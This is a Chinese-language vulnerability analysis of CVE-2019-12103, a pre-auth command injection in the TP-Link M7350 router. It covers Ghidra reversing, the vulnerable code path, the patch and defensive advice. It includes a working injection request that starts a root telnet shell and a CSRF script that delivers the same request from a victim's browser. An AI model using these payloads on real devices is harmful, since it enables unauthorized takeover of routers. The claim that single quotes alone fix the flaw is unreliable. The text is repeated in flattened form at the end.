CVE-2019-12103 使用Ghidra分析TP-Link M7350上的预认证RCE
字数 1235 2025-08-22 12:22:48

TP-Link M7350预认证RCE漏洞分析(CVE-2019-12103)技术教学文档

漏洞概述

CVE-2019-12103是TP-Link M7350(V3)路由器上的一个预认证远程代码执行漏洞,影响固件版本160330及之前版本。该漏洞允许攻击者通过精心构造的HTTP请求在设备上执行任意命令,无需任何认证。

漏洞影响

  • 影响设备:TP-Link M7350(V3)
  • 漏洞类型:预认证命令注入
  • CVSS评分:9.8(严重)
  • 攻击向量:网络相邻或通过CSRF
  • 修复版本:190531及之后固件

漏洞分析环境准备

所需工具

  1. Ghidra:NSA开发的逆向工程工具,用于分析二进制文件
  2. 固件文件:M7350(EU)_V3_160330_1472438334613t.zip
  3. 文本编辑器/IDE:查看和分析代码
  4. 网络分析工具:Burp Suite或Wireshark

固件获取与解压

固件可从TP-Link官网下载,解压过程如下:

M7350(EU)_V3_160330_1472438334613t.zip
└── M7350(EU) 3.0_1.1.1 Build 160330 Rel.1002n_User.zip
    └── 固件内容

漏洞定位与分析

关键二进制文件

  1. qcmap_web_cgi:处理Web请求的CGI程序
  2. QCMAP_Web_CLIENT:实际处理业务逻辑的后台服务

请求处理流程

  1. HTTP请求发送到/cgi-bin/qcmap_web_cgi
  2. qcmap_web_cgi解析请求并通过Unix域套接字转发
  3. 数据通过套接字文件/www/qcmap_webclient_cgi_file传递给QCMAP_Web_CLIENT
  4. QCMAP_Web_CLIENT处理请求并执行相应操作

漏洞代码分析

漏洞存在于QCMAP_Web_CLIENT二进制文件的API_webServer_function中:

// 伪代码表示
void API_webServer_function(cJSON *request) {
    cJSON *action_item = cJSON_GetObjectItem(request, "action");
    cJSON *language_item = cJSON_GetObjectItem(request, "language");
    
    if (action_item->valueint == 1) {  // 设置语言操作
        char command[200];
        snprintf(command, sizeof(command), 
                "uci set webserver.user_config.language=%s;uci commit webserver", 
                language_item->valuestring);
        popen(command, "r");  // 漏洞点:直接执行用户控制的命令
    }
    // 其他操作处理...
}

漏洞触发条件

当满足以下条件时,漏洞可被触发:

  1. 请求的module参数为webServer
  2. action参数值为1(设置语言)
  3. language参数包含恶意命令

漏洞利用

基本利用方式

构造如下HTTP请求:

POST /cgi-bin/qcmap_web_cgi HTTP/1.1
Host: <router_ip>
Content-Type: application/json

{
    "module":"webServer",
    "action":1,
    "language":"en;telnetd -l /bin/sh"  // 注入命令
}

此请求将在路由器上开启telnet服务,无需认证。

CSRF利用示例

由于漏洞可在未认证状态下触发,可通过CSRF攻击:

<script>
function exploit() {
    fetch('http://192.168.1.1/cgi-bin/qcmap_web_cgi', {
        method: 'POST',
        headers: {'Content-Type': 'application/json'},
        body: JSON.stringify({
            module: 'webServer',
            action: 1,
            language: 'en;telnetd -l /bin/sh'
        })
    });
    setTimeout(() => {
        fetch('http://192.168.1.1/cgi-bin/qcmap_web_cgi', {
            method: 'POST',
            headers: {'Content-Type': 'application/json'},
            body: JSON.stringify({
                module: 'webServer',
                action: 1,
                language: 'en'
            })
        });
    }, 500);
}
exploit();
</script>

漏洞修复分析

TP-Link在190531版本中修复了此漏洞,修复方式为对输入进行转义处理:

// 修复后的代码
snprintf(command, sizeof(command), 
        "uci set webserver.user_config.language='%s';uci commit webserver", 
        language_item->valuestring);

通过添加单引号限制了命令注入的可能性。

防御建议

  1. 输入验证:对所有用户输入进行严格验证
  2. 命令执行安全:避免直接拼接用户输入到系统命令中
  3. 认证机制:对敏感操作实施严格的认证
  4. CSRF防护:为所有修改操作添加CSRF令牌
  5. 最小权限原则:Web服务应以最低必要权限运行

总结

CVE-2019-12103展示了嵌入式设备中常见的命令注入漏洞模式。通过分析此漏洞,我们可以学习到:

  1. 逆向工程嵌入式设备固件的方法
  2. 命令注入漏洞的识别技巧
  3. 漏洞利用的多种方式
  4. 安全开发的最佳实践

此案例也强调了在IoT设备开发中实施严格安全措施的重要性,特别是在处理用户输入和系统命令交互时。

TP-Link M7350预认证RCE漏洞分析(CVE-2019-12103)技术教学文档 漏洞概述 CVE-2019-12103是TP-Link M7350(V3)路由器上的一个预认证远程代码执行漏洞,影响固件版本160330及之前版本。该漏洞允许攻击者通过精心构造的HTTP请求在设备上执行任意命令,无需任何认证。 漏洞影响 影响设备:TP-Link M7350(V3) 漏洞类型:预认证命令注入 CVSS评分:9.8(严重) 攻击向量:网络相邻或通过CSRF 修复版本:190531及之后固件 漏洞分析环境准备 所需工具 Ghidra :NSA开发的逆向工程工具,用于分析二进制文件 固件文件 :M7350(EU)_ V3_ 160330_ 1472438334613t.zip 文本编辑器/IDE :查看和分析代码 网络分析工具 :Burp Suite或Wireshark 固件获取与解压 固件可从TP-Link官网下载,解压过程如下: 漏洞定位与分析 关键二进制文件 qcmap_ web_ cgi :处理Web请求的CGI程序 QCMAP_ Web_ CLIENT :实际处理业务逻辑的后台服务 请求处理流程 HTTP请求发送到 /cgi-bin/qcmap_web_cgi qcmap_web_cgi 解析请求并通过Unix域套接字转发 数据通过套接字文件 /www/qcmap_webclient_cgi_file 传递给 QCMAP_Web_CLIENT QCMAP_Web_CLIENT 处理请求并执行相应操作 漏洞代码分析 漏洞存在于 QCMAP_Web_CLIENT 二进制文件的 API_webServer_function 中: 漏洞触发条件 当满足以下条件时,漏洞可被触发: 请求的 module 参数为 webServer action 参数值为1(设置语言) language 参数包含恶意命令 漏洞利用 基本利用方式 构造如下HTTP请求: 此请求将在路由器上开启telnet服务,无需认证。 CSRF利用示例 由于漏洞可在未认证状态下触发,可通过CSRF攻击: 漏洞修复分析 TP-Link在190531版本中修复了此漏洞,修复方式为对输入进行转义处理: 通过添加单引号限制了命令注入的可能性。 防御建议 输入验证 :对所有用户输入进行严格验证 命令执行安全 :避免直接拼接用户输入到系统命令中 认证机制 :对敏感操作实施严格的认证 CSRF防护 :为所有修改操作添加CSRF令牌 最小权限原则 :Web服务应以最低必要权限运行 总结 CVE-2019-12103展示了嵌入式设备中常见的命令注入漏洞模式。通过分析此漏洞,我们可以学习到: 逆向工程嵌入式设备固件的方法 命令注入漏洞的识别技巧 漏洞利用的多种方式 安全开发的最佳实践 此案例也强调了在IoT设备开发中实施严格安全措施的重要性,特别是在处理用户输入和系统命令交互时。